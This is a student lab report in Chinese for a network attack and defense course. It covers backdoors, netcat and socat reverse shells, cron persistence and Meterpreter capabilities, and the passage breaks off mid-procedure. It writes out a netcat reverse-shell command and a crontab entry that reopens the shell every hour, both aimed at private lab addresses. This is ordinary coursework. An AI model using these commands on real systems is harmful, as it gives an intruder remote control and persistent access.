20202413 2021-2022-2 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1 实验要求
- win主机使用netcat获取linux主机的Shell,接着利用该Shell使用cron启动自定义任务
- linux主机使用socat获取win主机的Shell, 接着利用该Shell添加任务计划程序
- linux主机使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到win主机,进而获取win主机Shell
- linux主机使用MSF meterpreter(或其他软件)获取win主机音频、摄像头、击键记录等内容,并尝试绕过UAC限制提权
- linux主机使用MSF生成shellcode,注入到实验一的pwn1中,获取反弹连接Shell
1.2 问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
我去第三方网站下载了某个破解版软件,该破解版软件中留了后门,一旦运行软件就会出事。 - 例举你知道的后门如何启动起来(win及linux)的方式?
开机自启动,与其他程序绑定,通过定时任务触发等等。 - Meterpreter有哪些给你印象深刻的功能?
能获取目标主机音频、摄像头、击键记录等内容,甚至能进行提权,使得被攻击方的隐私信息暴露无遗。 - 如何发现自己有系统有没有被安装后门?
- 安装杀毒软件,定期检测主机安全状况,及时更新杀软的特征库
- win主机可以通过“任务计划程序”和“注册表”查看是否有可疑任务
- 留意使用过程中主机是否出现异常现象,如磁盘损坏、无故黑屏蓝屏等等
2.实验过程
2.1 实验环境
- 两台虚拟机,一个是kali(192.168.3.23),另一个是win10(192.168.3.30),均开启桥接模式
- ncat和socat。由于kali中已经默认安装了这两个工具,仅需要下载到win10中即可。下载链接:NetSec,选择下载量最大的两个即可。
2.2 使用netcat获取主机操作Shell,cron启动某项任务
- netcat作为底层工具,可实现TCP/UDP数据收发
- linux中任务的定时启动通过crontab进行
首先在win10中开启监听,注意进入到ncat.exe所在的工作目录下:
ncat.exe -l -p 2413 #端口号2413
接着在kali中通过ncat与win10主机建立反弹式连接:
nc 192.168.3.33 2413 -e /bin/sh #IP是win10主机的,端口保持一致
可见成功获取了kali的shell:
如果在linux终端上执行下面的命令,结果如下:
crontab -e #执行文字编辑器来设定时程表,这里选择的是2:/usr/bin/vim.basic
30 * * * * /bin/netcat 192.168.3.30 2413 -e /bin/sh #IP地址是win主机的,在每小时的第30分钟启动任务
crontab -l #查看时程表
但是我们现在需要在win10中通过刚刚获得的shell来进行操作:
我们会发现kali终端弹出了警告,并且在win10获得的shell中无法进行文件修改操作。因此我们考虑从kali中记录定时任务的文件本身(/var/spool/cron目录下)入手,以root身份打开:
- 注意,crontabs目录下如果没有root文件&